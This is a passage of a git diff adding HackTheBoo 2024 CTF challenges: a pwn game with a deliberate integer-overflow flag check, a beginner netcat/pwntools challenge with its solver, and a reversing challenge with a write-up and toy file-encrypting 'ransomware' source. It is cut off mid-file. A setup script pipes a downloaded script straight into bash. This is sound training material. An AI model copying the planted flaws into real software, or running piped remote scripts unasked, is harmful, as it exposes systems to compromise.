a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/libc.so.6 new file mode 100755 index 0000000..4b60044 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/main.c b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/main.c new file mode 100644 index 0000000..9c5b176 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/main.c @@ -0,0 +1,141 @@ +#include +#include +#include +#include +#include +#include +#include + +#define RED "\e[1;31m" +#define GREEN "\e[1;32m" +#define YELLOW "\e[1;33m" +#define BLUE "\e[1;34m" +#define MAGENTA "\e[1;35m" +#define CYAN "\e[1;36m" +#define LIGHT_GRAY "\e[1;37m" +#define RESET "\e[0m" +#define SIZE 32 + +/* +* Compile a program with older libc: + docker run -v "${PWD}:/mnt" -it debian:latest bash + apt update; apt install -y gcc make vim gdb tmux && cd /mnt +*/ + +void error(char *msg) { + printf("\n%s[-] %s%s\n", RED, msg, BLUE); +} + +void cls() { + printf("\033[2J"); + printf("\033[%d;%dH", 0, 0); +} + +void read_flag() { + char c; + int fp = open("./flag.txt", O_RDONLY); + if (fp < 0) { + perror("\nError opening flag.txt, please contact an Administrator\n"); + exit(EXIT_FAILURE); + } + while ( read(fp, &c, 1) > 0 ) + fprintf(stdout, "%c", c); + close(fp); +} + +uint64_t read_num() { + char temp[32] = {0}; + read(0, temp, 31); + return strtoul(temp, 0x0, 0); +} + +void printstr(char *s) { + for (size_t i = 0; i < strlen(s); i++){ + putchar(s[i]); + usleep(2000); + } +} + +void banner(void) { + cls(); + char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY}; + srand(time(NULL)); + puts(col[rand() % 6]); + printstr("\t🎉 ~~ w3lC0m3 2 tH3 M4th3M4tR1kCs c0nt35t ~~ 🎉\n\n"); +} + +uint64_t menu() { + printstr("" + "\t\t\t■ ■ ■ ■ ■ ■ ■\n" + "\t\t\t■ ■\n" + "\t\t\t■ 1. Play ■\n" + "\t\t\t■ 2. Rules ■\n" + "\t\t\t■ ■\n" + "\t\t\t■ ■ ■ ■ ■ ■ ■\n\n\t\t\t🥸 "); + + return read_num(); +} + +void game() { + printstr("\n\t\t🎉 ~~ Let the game begin! ~~ 🎉\n\n"); + printstr("\t\tQ1: 1 + 1 = ?\n\n\t\t> "); + if (read_num() != 2) { + printstr("\n\t\t[!] Elementary school opens at 07:00 AM, don't miss it!\n\n"); + exit(1312); + } + printf("\n\t\t%s[+] THAT WAS AMAZING!\n\n%s", GREEN, BLUE); + printstr("\t\tQ2: 2 - 1 = ?\n\n\t\t> "); + if (read_num() != 1) { + printstr("\n\t\t[!] Elementary school opens at 07:00 AM, don't miss it!\n\n"); + exit(1312); + } + printf("\n\t\t%s[+] WE HAVE A MATHEMATICIAN AMONG US!\n\n%s", GREEN, CYAN); + printstr("\t\tQ3: 1337 - 1337 = ?\n\n\t\t> "); + if (read_num() != 0) { + printstr("\n\t\t[!] High school opens at 07:00 AM, don't miss it!\n\n"); + exit(1312); + } + printf("\n\t\t%s[+] GOD OF MATHS JUST ENTERED THE CHAT..\n\n%s", GREEN, BLUE); + int64_t n1, n2; + printstr("\t\tQ4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0\n\n\t\tn1: "); + n1 = read_num(); + printstr("\n\t\tn2: "); + n2 = read_num(); + int32_t n3 = n1 + n2; + if (n1 <= 0 || n2 <= 0) { + printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n"); + exit(1312); + } + (n3 < 0) ? read_flag() : printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n"); + exit(1312); +} + +void rules() { + printstr("\n" + "\t\t\t■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■\n" + "\t\t\t■ ■\n" + "\t\t\t■ Solve the math questions to get the flag, some of them are tricky! ■\n" + "\t\t\t■ ■\n" + "\t\t\t■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■\n\n" + ); +} + +int main(void) { + banner(); + for (;;) { + switch ( menu() ) { + case 1: game(); break; + case 2: rules(); break; + default: printf("%s\n\t\t\t[???????????]\n\n", RED); exit(1312); + } + } + return 0; +} + +__attribute__((constructor)) +void setup(void) { + cls(); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + alarm(0x1312); +} diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/Dockerfile b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/Dockerfile new file mode 100644 index 0000000..a25721a --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/Dockerfile @@ -0,0 +1,8 @@ +FROM alpine:latest +RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh +EXPOSE 1337 +RUN addgroup -S ctf && adduser -S ctf -G ctf +COPY challenge/ /home/ctf/ +WORKDIR /home/ctf +USER ctf +CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./que_onda"] diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/README.md b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/README.md new file mode 100644 index 0000000..734470c --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/README.md @@ -0,0 +1,159 @@ +![](assets/banner.png) + + + + Que Onda + +​ 10 Septemeber 2024 / Document No. DYY.102.XX + +​ Prepared By: w3th4nds + +​ Challenge Author(s): w3th4nds + +​ Difficulty: Very Easy + +​ Classification: Official + + + + + +# Synopsis + +Que Onda is a very easy difficulty challenge that features installing basic tools, interacting with netcat and basic python scripting. + +# Description + +Que onda! Welcome to the festival of Pwn! This is a small guide to help you continue your journey, follow the instructions in README.txt + +## Skills Required + +- None + +## Skills Learned + +- Interaction with `nc` and `pwntools`. + +# Enumeration + +We are given some files, including `README.txt`. + +```bash +$ cat README.txt +🎃 h3ll0, fr13nd5! 🎃 + +This challenge is designed to help you get comfortable interacting with a remote instance, while also guiding you through the installation of essential tools. If you encounter any issues or notice anything missing, feel free to reach out to me via dm (#w3th4nds). + +* To install the tools, run "./tools.sh" in your terminal. +* To interact with the challenge, spawn an instance and then use the command "nc " e.g. "nc 127.0.0.1 1337" +* To run the solver script, run "./solver.py " or "python3 solver.py " e.g. "python3 solver 127.0.0.1 1337" +* This "HTB{f4ke_fl4g_4_t35t1ng}" is not the flag, just a placeholder. +* After that, you simply send the string "flag" to get the flag. +* "glibc" folder is not needed to exploit the challenge, it's given so you can run the challenge. +* To run the challenge locally, enter in your terminal "./que_onda". + +🎃 h4ppy h4ck1n6! 🎃 +``` + +There are some basic instructions here on how to proceed with the next challenges and some helping tools to install. + +```bash +$ cat tools.sh +#!/bin/bash + +clear +os=$(lsb_release -i | cut -d':' -f2 | tr -d '[:space:]') +ver=$(lsb_release -d | cut -d':' -f2 | tr -d '[:space:]') + +red="\e[1;32m" +green="\e[3;32m" +blue="\e[1;94m" +reset="\e[0m" + +echo -ne "[!] This script will install${green} pwntools${reset},${green} gdb${reset}-${green}gef${reset} and ${green}python3-pip${reset} in your system, do you want to proceed? (Y/n): " +read ans +echo -ne "${reset}" + +if [[ "$ans" == "" || "$ans" == "y" || "$ans" == "Y" ]]; then + # Install gdb - gef - python3-pip + echo -e "\n${blue}[*] $os ver: ${green}${ver}${reset}" + echo -e "\n${blue}[*] Installing${green} pwntools${blue}${reset}..\n" + sudo apt update -y + sudo apt install gdb python3-pip -y + bash -c "$(curl -fsSL https://gef.blah.cat/sh)" + + # Install pwntools + if [[ "$ver" == "24.0"* && "$os" == "Ububntu" ]]; then + python3 -m pip install --upgrade pip --break-system-packages && python3 -m pip install --upgrade pwntools --break-system-packages + else + python3 -m pip install --upgrade pip && python3 -m pip install --upgrade pwntools + fi + echo -e "${green}[+] Done!${reset}" +fi +``` + +This script will install `python3-pip`, [pwntools](https://github.com/Gallopsled/pwntools) and [gdb-gef](https://hugsy.github.io/gef/install/). + +### First interaction + +First of all, we start with a `checksec`: + +```console +pwndbg> checksec +Arch: amd64 +RELRO: Full RELRO +Stack: Canary found +NX: NX enabled +PIE: PIE enabled +RUNPATH: b'./glibc/' +``` + +### Protections 🛡️ + +As we can see: + +| Protection | Enabled | Usage | +| :---: | :---: | :---: | +| **Canary** | ✅ | Prevents **Buffer Overflows** | +| **NX** | ✅ | Disables **code execution** on stack | +| **PIE** | ✅ | Randomizes the **base address** of the binary | +| **RelRO** | **Full** | Makes some binary sections **read-only** | + +The program's interface + +![](assets/interface.png) + +The challenge is pretty much what it says. If we send "flag", we get the flag. + +![](assets/poc.png) + +# Solution + +```python +#!/usr/bin/python3 +from pwn import * +import warnings +import os +warnings.filterwarnings('ignore') +context.log_level = 'critical' + +fname = './que_onda' # Specifiy the binary name + +LOCAL = False # Change it to "True" to run the solver locally + +os.system('clear') # Clear screen + +if LOCAL: + print('Running solver locally..\n') + r = process(fname) # Starting local process +else: + IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' + PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 + r = remote(IP, PORT) # Opens a remote connection to the specified and + print(f'Running solver remotely at {IP} {PORT}\n') + +r.sendline('flag') # Sends the string "flag" to the remote instance + +print(f'Flag --> {r.recvline_contains(b"HTB")[2:].strip().decode()}\n') # Reads the flag +``` + diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/banner.png b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/banner.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/htb.png b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/htb.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/interface.png b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/interface.png new file mode 100644 index 0000000..e23c0ff Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/interface.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/poc.png b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/poc.png new file mode 100644 index 0000000..67125fc Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/poc.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/build-docker.sh b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/build-docker.sh new file mode 100755 index 0000000..73a8c87 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/build-docker.sh @@ -0,0 +1,3 @@ +#!/bin/sh +docker build --tag=que_onda . +docker run -it -p 1337:1337 --rm --name=que_onda que_onda diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/flag.txt b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/flag.txt new file mode 100644 index 0000000..c1acad6 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/flag.txt @@ -0,0 +1 @@ +HTB{w3lc0m3_2_pwn_f35t1v4l} diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..8ef4df1 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/libc.so.6 new file mode 100755 index 0000000..4b60044 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/que_onda b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/que_onda new file mode 100755 index 0000000..aa775c7 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/que_onda differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/flag.txt b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/flag.txt new file mode 100644 index 0000000..b84dec5 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/flag.txt @@ -0,0 +1 @@ +HTB{f4k3_fl4g_f0r_t35t1ng} diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..8ef4df1 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/libc.so.6 new file mode 100755 index 0000000..4b60044 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/que_onda b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/que_onda new file mode 100755 index 0000000..aa775c7 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/que_onda differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/solver.py b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/solver.py new file mode 100755 index 0000000..7071c6b --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/solver.py @@ -0,0 +1,25 @@ +#!/usr/bin/python3 +from pwn import * +import warnings +import os +warnings.filterwarnings('ignore') +context.log_level = 'critical' + +fname = './que_onda' # Specifiy the binary name + +LOCAL = False # Change it to "True" to run the solver locally + +os.system('clear') # Clear screen + +if LOCAL: + print('Running solver locally..\n') + r = process(fname) # Starting local process +else: + IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' + PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 + r = remote(IP, PORT) # Opens a remote connection to the specified and + print(f'Running solver remotely at {IP} {PORT}\n') + +r.sendline('flag') # Sends the string "flag" to the remote instance + +print(f'Flag --> {r.recvline_contains(b"HTB")[2:].strip().decode()}\n') # Reads the flag diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/release/pwn_que_onda.zip b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/release/pwn_que_onda.zip new file mode 100644 index 0000000..0c5acff Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/release/pwn_que_onda.zip differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/Makefile b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/Makefile new file mode 100644 index 0000000..dd9aa48 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/Makefile @@ -0,0 +1,16 @@ +# Name of PROG and CFLAGS shall be changed. + +PROG = que_onda # CHANGE THIS +SRC = main.c +CFLAGS = -fstack-protector-all -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2 + +all: compile + +compile: + @echo "Compiling $(SRC) -> $(PROG)" + gcc $(SRC) -o $(PROG) $(CFLAGS) + +clean: + rm -f $(PROG) + + diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..8ef4df1 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/libc.so.6 new file mode 100755 index 0000000..4b60044 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/main.c b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/main.c new file mode 100644 index 0000000..7d1658d --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/main.c @@ -0,0 +1,75 @@ +#include +#include +#include +#include +#include +#include +#include + +#define RED "\e[1;31m" +#define GREEN "\e[1;32m" +#define YELLOW "\e[1;33m" +#define BLUE "\e[1;34m" +#define MAGENTA "\e[1;35m" +#define CYAN "\e[1;36m" +#define LIGHT_GRAY "\e[1;37m" +#define RESET "\e[0m" +#define SIZE 32 + +void error(char *msg) { + printf("\n%s[-] %s%s\n", RED, msg, BLUE); +} + +void cls() { + printf("\033[2J"); + printf("\033[%d;%dH", 0, 0); +} + +void read_flag() { + char c; + int fp = open("./flag.txt", O_RDONLY); + if (fp < 0) { + perror("\nError opening flag.txt, please contact an Administrator\n"); + exit(EXIT_FAILURE); + } + while ( read(fp, &c, 1) > 0 ) + fprintf(stdout, "%c", c); + close(fp); +} + +void printstr(char *s) { + for (size_t i = 0; i < strlen(s); i++){ + putchar(s[i]); + usleep(4000); + } +} + +void banner(void) { + char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY}; + srand(time(NULL)); + puts(col[rand() % 6]); + cls(); + printstr( + "▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧\n" + "▧ ▧\n" + "▧ Hola mi Amigos! Send me the string \"flag\" ▧\n" + "▧ and I will give you uno grande prize!! ▧\n" + "▧ ▧\n" + "▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧\n\n$ "); + char buf[0x10] = {0}; + read(0, buf, 6); + !strncmp(buf, "flag", 4) ? read_flag() : error("Que??"); +} + +int main(void) { + banner(); + return 0; +} + +__attribute__((constructor)) +void setup(void) { + cls(); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + alarm(0x1312); +} diff --git a/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/README.md b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/README.md new file mode 100644 index 0000000..5801e9f --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/README.md @@ -0,0 +1,112 @@ + + +CryptOfTheUndead + + 9th 10 24 / Document No. D24.102.170 + + Prepared By: clubby789 + + Challenge Author: clubby789 + + Difficulty: Very Easy + + Classification: Official + + + + + + +# Synopsis + +CryptOfTheUndead is a Very Easy reversing challenge. Players will reverse engineer a ransomware binary to uncover a static key, then decrypt a file to gain the flag. + +## Skills Required + - Decompiler usage +## Skills Learned + - Recognizing cryptographic primitives + - Bypassing program checks + +# Solution + +We're provided two files; `crypt` and `flag.txt.undead`. Running `crypt` gives us an error: + +``` +Usage: ./crypt file_to_encrypt +``` +so we can surmise that this is possibly some kind of ransomware, used to encrypt files. `flag.txt.undead` seems to contain random bytes, so it is likely encrypted. + +## Analysis + +Opening it in a decompiler, we can see the program is not stripped. + +```c +int32_t main(int32_t argc, char** argv, char** envp) +int32_t return + +if (argc s<= 1) { + char const* const program_name = "crypt" + + if (argc == 1) + program_name = *argv + + return = 1 + printf(format: "Usage: %s file_to_encrypt\n", program_name) +``` +We begin by checking the args, and printing a help string if used incorrectly. + +We then check the file argument passed, and ensure it doesn't end with `.undead`: + +```c + char* old_filename = argv[1] + + if (ends_with(old_filename, ".undead") != 0) { + return = 2 + puts(str: "error: that which is undead may not be encrypted") +``` + +We'll then allocate space for our new filename, likely used for the post-encryption fike, and append `.undead` to the old filename. + +```c + uint64_t new_filename_len = strlen(old_filename) + 9 + char* new_filename_buf = malloc(bytes: new_filename_len) + strncpy(new_filename_buf, old_filename, new_filename_len) + *(new_filename_buf + strlen(new_filename_buf)) = '.undead' +``` + +We then perform the encryption. +```c + if (read_file(old_filename, &nbytes_1, &buf_1) != 0) + return main.cold() __tailcall + + uint64_t nbytes = nbytes_1 + void* buf = buf_1 + encrypt_buf(buf, nbytes, "BRAAAAAAAAAAAAAAAAAAAAAAAAAINS!!") + int32_t return_1 = rename(old: old_filename, new: new_filename_buf) + return = return_1 +``` +`main.cold` is a short function that prints an error message then exits. If the read is successful, we call `encrypt_buf` on it. We then use `rename` to rename the file to the new name. + +Looking into `encrypt_buf`: + +```c +int64_t encrypt_buf(char* buf, uint64_t buflen, uint8_t* key) +uint8_t nonce[0xc] +nonce[0].q = 0 +nonce[8].d = 0 +struct chacha_ctx ctx +chacha20_init_context(&ctx, key, &nonce, 0) +chacha20_xor(&ctx, buf, buflen) +``` +We can see it uses `chacha20` to encrypt a buffer with a given key and a nonce of 0. Even if this file was stripped, we could recognize this as `chacha20` by the cryptographic constant used in `chacha20_init_context`: + +```c +__builtin_strncpy(dest: &arg1[0x10], src: "expand 32-byte k", n: 0x10) +``` + +## Decryption + +Knowing the algorithm (chacha20) and the key (`BRAAAAAAAAAAAAAAAAAAAAAAAAAINS!!`) is enough to encrypt this file. However, we can use a useful property of chacha20 instead. It is a reversible stream cipher, meaning that the 'encrypt' operation can be re-run on ciphertext with the same key to produce the plaintext. + +The binary prevents this by checking for the `.undead` suffix. However, we can either patch that check out, or simply rename `flag.txt.undead` to `flag.txt`. We then run the binary on `flag.txt`, and read `flag.txt.undead` to reveal the flag. + \ No newline at end of file diff --git a/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/release/rev_crypt_of_the_undead.zip b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/release/rev_crypt_of_the_undead.zip new file mode 100644 index 0000000..992ec0d Binary files /dev/null and b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/release/rev_crypt_of_the_undead.zip differ diff --git a/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/Makefile b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/Makefile new file mode 100644 index 0000000..8efd760 --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/Makefile @@ -0,0 +1,7 @@ +.PHONY := clean + +crypt: main.c chacha.c chacha.h + gcc main.c chacha.c -O2 -o crypt + +clean: + rm -f crypt diff --git a/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/chacha.c b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/chacha.c new file mode 100644 index 0000000..7a6c6cc --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/chacha.c @@ -0,0 +1,106 @@ +// SOURCE: https://github.com/Ginurx/chacha20-c/blob/master/chacha20.c + +#include "chacha.h" +static uint32_t rotl32(uint32_t x, int n) { + return (x << n) | (x >> (32 - n)); +} + +static uint32_t pack4(const uint8_t *a) { + uint32_t res = 0; + res |= (uint32_t)a[0] << 0 * 8; + res |= (uint32_t)a[1] << 1 * 8; + res |= (uint32_t)a[2] << 2 * 8; + res |= (uint32_t)a[3] << 3 * 8; + return res; +} + +static void unpack4(uint32_t src, uint8_t *dst) { + dst[0] = (src >> 0 * 8) & 0xff; + dst[1] = (src >> 1 * 8) & 0xff; + dst[2] = (src >> 2 * 8) & 0xff; + dst[3] = (src >> 3 * 8) & 0xff; +} + +static void chacha20_init_block(struct chacha20_context *ctx, uint8_t key[], uint8_t nonce[]) { + memcpy(ctx->key, key, sizeof(ctx->key)); + memcpy(ctx->nonce, nonce, sizeof(ctx->nonce)); + + const uint8_t *magic_constant = (uint8_t*)"expand 32-byte k"; + ctx->state[0] = pack4(magic_constant + 0 * 4); + ctx->state[1] = pack4(magic_constant + 1 * 4); + ctx->state[2] = pack4(magic_constant + 2 * 4); + ctx->state[3] = pack4(magic_constant + 3 * 4); + ctx->state[4] = pack4(key + 0 * 4); + ctx->state[5] = pack4(key + 1 * 4); + ctx->state[6] = pack4(key + 2 * 4); + ctx->state[7] = pack4(key + 3 * 4); + ctx->state[8] = pack4(key + 4 * 4); + ctx->state[9] = pack4(key + 5 * 4); + ctx->state[10] = pack4(key + 6 * 4); + ctx->state[11] = pack4(key + 7 * 4); + ctx->state[12] = 0; + ctx->state[13] = pack4(nonce + 0 * 4); + ctx->state[14] = pack4(nonce + 1 * 4); + ctx->state[15] = pack4(nonce + 2 * 4); + + memcpy(ctx->nonce, nonce, sizeof(ctx->nonce)); +} + +static void chacha20_block_set_counter(struct chacha20_context *ctx, uint64_t counter) { + ctx->state[12] = (uint32_t)counter; + ctx->state[13] = pack4(ctx->nonce + 0 * 4) + (uint32_t)(counter >> 32); +} + +static void chacha20_block_next(struct chacha20_context *ctx) { + for (int i = 0; i < 16; i++) ctx->keystream32[i] = ctx->state[i]; + +#define CHACHA20_QUARTERROUND(x, a, b, c, d) \ + x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16); \ + x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12); \ + x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8); \ + x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7); + + for (int i = 0; i < 10; i++) { + CHACHA20_QUARTERROUND(ctx->keystream32, 0, 4, 8, 12) + CHACHA20_QUARTERROUND(ctx->keystream32, 1, 5, 9, 13) + CHACHA20_QUARTERROUND(ctx->keystream32, 2, 6, 10, 14) + CHACHA20_QUARTERROUND(ctx->keystream32, 3, 7, 11, 15) + CHACHA20_QUARTERROUND(ctx->keystream32, 0, 5, 10, 15) + CHACHA20_QUARTERROUND(ctx->keystream32, 1, 6, 11, 12) + CHACHA20_QUARTERROUND(ctx->keystream32, 2, 7, 8, 13) + CHACHA20_QUARTERROUND(ctx->keystream32, 3, 4, 9, 14) + } + + for (int i = 0; i < 16; i++) ctx->keystream32[i] += ctx->state[i]; + + uint32_t *counter = ctx->state + 12; + counter[0]++; + if (0 == counter[0]) { + counter[1]++; + assert(0 != counter[1]); + } +} + +void chacha20_init_context(struct chacha20_context *ctx, uint8_t key[], uint8_t nonce[], uint64_t counter) { + memset(ctx, 0, sizeof(struct chacha20_context)); + + chacha20_init_block(ctx, key, nonce); + chacha20_block_set_counter(ctx, counter); + + ctx->counter = counter; + ctx->position = 64; +} + +void chacha20_xor(struct chacha20_context *ctx, uint8_t *bytes, size_t n_bytes) { + uint8_t *keystream8 = (uint8_t*)ctx->keystream32; + for (size_t i = 0; i < n_bytes; i++) + { + if (ctx->position >= 64) + { + chacha20_block_next(ctx); + ctx->position = 0; + } + bytes[i] ^= keystream8[ctx->position]; + ctx->position++; + } +} diff --git a/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/chacha.h b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/chacha.h new file mode 100644 index 0000000..6d4679d --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/chacha.h @@ -0,0 +1,23 @@ +// SOURCE: https://github.com/Ginurx/chacha20-c/blob/master/chacha20.h +#ifndef CHACHA_H +#define CHACHA_H + +#include +#include +#include +#include + +struct chacha20_context { + uint32_t keystream32[16]; + size_t position; + uint8_t key[32]; + uint8_t nonce[12]; + uint64_t counter; + uint32_t state[16]; +}; + +void chacha20_init_context(struct chacha20_context *ctx, uint8_t key[], uint8_t nonce[], uint64_t counter); + +void chacha20_xor(struct chacha20_context *ctx, uint8_t *bytes, size_t n_bytes); + +#endif diff --git a/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/main.c b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/main.c new file mode 100644 index 0000000..9258dde --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] CryptOfTheUndead/src/main.c @@ -0,0 +1,87 @@ +#include +#include +#include +#include +#include +#include + +#include "chacha.h" + +int ends_with(const char* string, const char* suffix) { + size_t s_len = strlen(string); + size_t suf_len = strlen(suffix); + if (suf_len > s_len) return 0; + return strncmp(string + s_len - suf_len, suffix, suf_len) == 0; +} + +int read_file(const char* path, size_t* out_len, char** out_buf) { + int fd = open(path, O_RDONLY); + if (fd < 0) return fd; + size_t amnt_read = 0; + size_t buf_sz = 1024; + char* buf = malloc(buf_sz); + while (1) { + ssize_t res; + if ((res = read(fd, buf + amnt_read, buf_sz - amnt_read)) < 0) { + close(fd); + free(buf); + return res; + } + amnt_read += res; + if (res == 0) { + close(fd); + *out_buf = buf; + *out_len = amnt_read; + return 0; + } + if (!(buf = realloc(buf, buf_sz + 1024))) { + close(fd); + return 